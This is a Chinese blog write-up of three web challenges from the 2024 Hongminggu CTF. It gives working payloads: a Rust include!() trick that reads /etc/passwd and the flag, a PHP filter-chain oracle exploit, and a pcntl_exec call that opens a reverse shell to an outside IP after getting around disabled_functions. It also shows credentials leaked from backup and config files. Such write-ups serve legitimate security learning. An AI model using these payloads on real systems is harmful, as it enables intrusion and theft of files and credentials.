2024 红明谷ctf

文章讲述了在Webplayground环境中,如何利用Rust和PHP执行代码片段,处理权限限制,如Basic认证和函数禁用,以及通过php.ini配置绕过限制获取flag的过程。
摘要由CSDN通过智能技术生成

Web

playground

源代码

#[macro_use] extern crate rocket;

use std::fs;
use std::fs::File;
use std::io::Write;
use std::process::Command;
use rand::Rng;

#[get("/")]
fn index() -> String {
    fs::read_to_string("main.rs").unwrap_or(String::default())
}

#[post("/rust_code", data = "<code>")]
fn run_rust_code(code: String) -> String{
    if code.contains("std") {
        return "Error: std is not allowed".to_string();
    }
    //generate a random 5 length file name
    let file_name = rand::thread_rng()
        .sample_iter(&rand::distributions::Alphanumeric)
        .take(5)
        .map(char::from)
        .collect::<String>();
    if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) {
        file.write_all(code.as_bytes());
    }
    if let Ok(build_output) = Command::new("rustc")
        .arg(format!("playground/{}.rs",&file_name))
        .arg("-C")
        .arg("debuginfo=0")
        .arg("-C")
        .arg("opt-level=3")
        .arg("-o")
        .arg(format!("playground/{}",&file_name))
        .output() {
        if !build_output.status.success(){
            fs::remove_file(format!("playground/{}.rs",&file_name));
            return String::from_utf8_lossy(build_output.stderr.as_slice()).to_string();
        }
    }
    fs::remove_file(format!("playground/{}.rs",&file_name));
    if let Ok(output) = Command::new(format!("playground/{}",&file_name))
        .output() {
        if !output.status.success(){
            fs::remove_file(format!("playground/{}",&file_name));
            return String::from_utf8_lossy(output.stderr.as_slice()).to_string();
        } else{
            fs::remove_file(format!("playground/{}",&file_name));
            return String::from_utf8_lossy(output.stdout.as_slice()).to_string();
        }
    }
    return String::default();

}

#[launch]
fn rocket() -> _ {
    let figment = rocket::Config::figment()
        .merge(("address", "0.0.0.0"));
    rocket::custom(figment).mount("/", routes![index,run_rust_code])
}

根据分析通过访问根路由是可以直接得到题目的源代码,然后通过rust_code路由可以执行rust代码

我们可以测试一下

POST /rust_code HTTP/1.1
Host: eci-2zecmju2g1cqvav9b7rb.cloudeci1.ichunqiu.com:8000
Content-Length: 84
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2zecmju2g1cqvav9b7rb.cloudeci1.ichunqiu.com:8000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://eci-2zecmju2g1cqvav9b7rb.cloudeci1.ichunqiu.com:8000/
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1709883939
Connection: close

fn main() {
    let my_string = "Hello, world!";
    println!("{}", my_string);
}

在这里插入图片描述

已经执行成功了,下面我们尝试读取文件内容

use std::fs::File;
use std::io::{self, BufRead};

fn main() -> io::Result<()> {
    let file = File::open("/etc/passwd")?;
    let reader = io::BufReader::new(file);

    for line in reader.lines() {
        println!("{}", line?);
    }

    Ok(())
}

在这里插入图片描述

不允许我们使用std标准库,那我们就使用宏定义去读取文件内容

include!("/etc/passwd");
fn main() {
    let my_string = "Hello, world!";
    println!("{}", my_string);
}

在这里插入图片描述

可以读取,但是只有一行,但也不影响读取flag文件了

在这里插入图片描述

ezphp

源代码

<?php
highlight_file(__FILE__);
// flag.php
if (isset($_POST['f'])) {
    echo hash_file('md5', $_POST['f']);
}
?>

hash_file可以使用php伪协议,我们想要读取flag.php的内容,所以采用php_filter_chains_oracle_exploit

下载地址:https://github.com/synacktiv/php_filter_chains_oracle_exploit

RGZxMHMRMmlmKMhpc3NldCgkX0dFVFsnZXpwaHBQaHA4JA==

在这里插入图片描述

这个工具跑的时候,有点不稳定,需要多跑几次才能跑出正确的结果

我们现在得到了参数名ezphpPhp8,我们尝试对flag.php提交一下这个参数

在这里插入图片描述

得到源代码内容

<?php
if (isset($_GET['ezphpPhp8'])) {
    highlight_file(__FILE__);
} else {
    die("No");
}
$a = new class {
    function __construct()
    {
    }

    function getflag()
    {
        system('cat /flag');
    }
};
unset($a);
$a = $_GET['ezphpPhp8'];
$f = new $a();
$f->getflag();
?>

很明显是让我们获取到匿名类,然后通过对getflag方法的调用,得到flag

想要回去当前脚本php匿名类,需要用到这个函数

get_declared_classes()

get_declared_classes函数定义:返回由当前脚本中已定义类的名字组成的数组

编写下面的脚本

<?php
if (isset($_GET['ezphpPhp8'])) {
    highlight_file(__FILE__);
} else {
    die("No");
}
$a = new class {
    function __construct()
    {
    }

    function getflag()
    {
        system('cat /flag');
    }
};
unset($a);

function get_classes_with_method($method_name)
{
  $classes = get_declared_classes();

  foreach ($classes as $class) {
    if (method_exists($class, $method_name)) {
      yield $class;
    }
  }
}

foreach (get_classes_with_method('getflag') as $class) {
  echo $class . "<br />";
  echo urlencode($class);
}


$a = $_GET['ezphpPhp8'];
$f = new $a();
$f->getflag();
?>

为什么要将获取匿名类的函数写在当前源代码中,是因为匿名类是临时的,只存在在当前页面上

我们本地访问一下网页

在这里插入图片描述

我们仔细看为什么要用url编码,那是因为anonymous和路径之间有不见字符也就是%00

并且要值得注意的就是,7$0,7代表匿名类所在的行,而且它还有列,列在脚本中是随机的,所以我们要想做出这题,就还要重新启动一下,然后直接传入对应的参数

在这里插入图片描述

unauth

访问首页就需要Basic认证

在这里插入图片描述

dirsearch扫描一下目录,发现了www.zip,这里我就不演示了

www.zip里面有一个log.log文件,存放着用户名和密码

[2022-01-01 12:34:56]  Authentication successful - User: admin Pass: 2e525e29e465f45d8d7c56319fe73036

登陆首页得到以下源代码

<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
    header('WWW-Authenticate: Basic realm="Restricted Area"');
    header('HTTP/1.0 401 Unauthorized');
    echo '小明是运维工程师,最近网站老是出现bug。';
    exit;
} else {
    $validUser = 'admin';
    $validPass = '2e525e29e465f45d8d7c56319fe73036';

    if ($_SERVER['PHP_AUTH_USER'] != $validUser || $_SERVER['PHP_AUTH_PW'] != $validPass) {
        header('WWW-Authenticate: Basic realm="Restricted Area"');
        header('HTTP/1.0 401 Unauthorized');
        echo 'Invalid credentials';
        exit;
    }
}
@eval($_GET['cmd']);
highlight_file(__FILE__);
?>

前面的if判断直接不用看,主要是下面的eval函数,我尝试进行命令执行发现似乎是禁用函数了,并且禁了很多连phpinfo都不可以使用

但是file_get_contents函数可以使用

在这里插入图片描述

如果想要绕过函数达到rce,那肯定是需要知道到底具体禁用了哪些参数,所以我的思路就转到了读取php.ini上

php.ini文件的路径一般都是:

Centos: /etc/php.ini
Debian/Ubuntu: /etc/php/<php_version>/apache2/php.ini

得到如下禁用函数

disable_functions = eval,assert,fwrite,file_put_contents,phpinfo,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,lin,putenv,mail,chroot,chgrp,dl,readlink

在这里插入图片描述

发现有很多命令执行函数被禁,但是pcntl_exec函数并没有被禁用,下面我们尝试反弹shell

http://eci-2ze4m5ltcf8rxc4bzeso.cloudeci1.ichunqiu.com/?cmd=pcntl_exec('/bin/bash',['-c','sh -i >& /dev/udp/60.204.170.160/8989 0>&1']);

在这里插入图片描述

平台返回502,不用去管,shell已经拿到手

我们使用python伪造shell

python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

然后查看当前目录下有什么文件

在这里插入图片描述

然后直接读取flag文件,发现无法读取

在这里插入图片描述

这是因为flag是属于admin用户的,后面我尝试了使用log.log文件里获取到的用户名和密码,发现登陆不上去,然后查看了config.inc.php

<?php

# If you are having problems connecting to the MySQL database and all of the variables below are correct
# try changing the 'db_server' variable from localhost to 127.0.0.1. Fixes a problem due to sockets.
#   Thanks to @digininja for the fix.

# Database management system to use
$DBMS = 'MySQL';
#$DBMS = 'PGSQL'; // Currently disabled

# Database variables
#   WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setup.
#   Please use a database dedicated to DVWA.
#
# If you are using MariaDB then you cannot use root, you must use create a dedicated DVWA user.
#   See README.md for more information on this.
$_DVWA = array();
$_DVWA[ 'db_server' ]   = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ]     = 'root';
$_DVWA[ 'db_password' ] = 'b90e0086d8b1165403de6974c4167165';

# Only used with PostgreSQL/PGSQL database selection.
$_DVWA[ 'db_port '] = '5432';

# ReCAPTCHA settings
#   Used for the 'Insecure CAPTCHA' module
#   You'll need to generate your own keys at: https://www.google.com/recaptcha/admin
$_DVWA[ 'recaptcha_public_key' ]  = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';
$_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';

# Default security level
#   Default value for the secuirty level with each session.
#   The default is 'impossible'. You may wish to set this to either 'low', 'medium', 'high' or impossible'.
$_DVWA[ 'default_security_level' ] = 'impossible';

# Default PHPIDS status
#   PHPIDS status with each session.
#   The default is 'disabled'. You can set this to be either 'enabled' or 'disabled'.
$_DVWA[ 'default_phpids_level' ] = 'disabled';

# Verbose PHPIDS messages
#   Enabling this will show why the WAF blocked the request on the blocked request.
#   The default is 'disabled'. You can set this to be either 'true' or 'false'.
$_DVWA[ 'default_phpids_verbose' ] = 'false';

?>

这里面也有一个密码,我们尝试登陆,发现可以登陆上,然后直接查看flag文件就行了

在这里插入图片描述

  • 13
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ten^v^

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值